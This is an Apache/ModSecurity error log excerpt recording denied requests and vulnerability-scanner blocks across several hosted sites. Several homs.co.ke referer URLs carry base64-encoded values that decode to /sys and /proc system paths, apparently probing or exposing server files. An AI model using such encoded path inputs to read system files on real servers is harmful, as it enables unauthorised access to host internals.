[access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.68:47024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.513049 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:14:26.513484 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:14:26.520003 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.42:44974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:26.520285 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.42:44974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.970805 2026] [security2:error] [pid 531155:tid 531165] [remote 17.246.23.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYimiP80klyS0Nnof2gABXwk"] [Sat Jun 13 18:14:27.057755 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:27.058215 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:27.080978 2026] [security2:error] [pid 531155:tid 531249] [remote 57.141.14.109:40694] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yYymiP80klyS0Nnof5gABLV0"], referer: https://nelsonfarmstn.com/shop/page/2/?add_to_wishlist=3813&_wpnonce=8d149de2a5&add-to-cart=3093 [Sat Jun 13 18:14:27.188688 2026] [security2:error] [pid 531155:tid 531332] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug45705_1.phpt"] [unique_id "ai3yYymiP80klyS0Nnof8QAAATk"] [Sat Jun 13 18:14:27.342881 2026] [security2:error] [pid 531155:tid 531264] [remote 17.22.245.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYymiP80klyS0Nnof-QABeWw"] [Sat Jun 13 18:14:27.388697 2026] [security2:error] [pid 531155:tid 531185] [remote 17.241.227.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYymiP80klyS0Nnof_gABOB0"] [Sat Jun 13 18:14:27.459834 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.32:42237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:27.460263 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.32:42237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:27.505115 2026] [security2:error] [pid 531155:tid 531178] [remote 17.22.245.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYymiP80klyS0NnogDQABehY"] [Sat Jun 13 18:14:27.545227 2026] [access_compat:error] [pid 531155:tid 531248] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:27.545498 2026] [access_compat:error] [pid 531155:tid 531248] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:27.584935 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:14:27.585198 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:14:27.963950 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.101:22426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:27.964390 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.101:22426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:28.101855 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:14:28.102147 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:14:28.180479 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.77:51617] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:28.180966 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.77:51617] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:28.337276 2026] [security2:error] [pid 531155:tid 531199] [remote 17.22.245.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZCmiP80klyS0NnogRQABRys"] [Sat Jun 13 18:14:28.488305 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.99:54808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:28.488581 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.99:54808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:28.592903 2026] [security2:error] [pid 531155:tid 531167] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3yZCmiP80klyS0NnogUQABHQs"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-para-dispositivos-moviles-incluye-10-unidades-hikcentral-p-ms-base [Sat Jun 13 18:14:28.655488 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:14:28.655887 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:14:28.751257 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.37:26672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:28.751537 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.37:26672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:29.029846 2026] [security2:error] [pid 531155:tid 531157] [remote 17.22.245.56:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZSmiP80klyS0NnogZwABEAE"] [Sat Jun 13 18:14:29.033417 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.242.16:58934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:14:29.033705 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.242.16:58934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:14:29.033975 2026] [security2:error] [pid 531155:tid 531188] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3yZSmiP80klyS0NnogaAABNCA"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-para-dispositivos-moviles-incluye-10-unidades-hikcentral-p-ms-base [Sat Jun 13 18:14:29.107050 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:14:29.107484 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:14:29.168518 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.16:22866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:29.168792 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.16:22866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:29.331961 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.105:44342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:29.332238 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.105:44342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:29.620937 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvcG93ZXI= [Sat Jun 13 18:14:29.621402 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvcG93ZXI= [Sat Jun 13 18:14:29.745212 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.82:55546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:29.745498 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.82:55546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:30.134631 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9pZA== [Sat Jun 13 18:14:30.135065 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 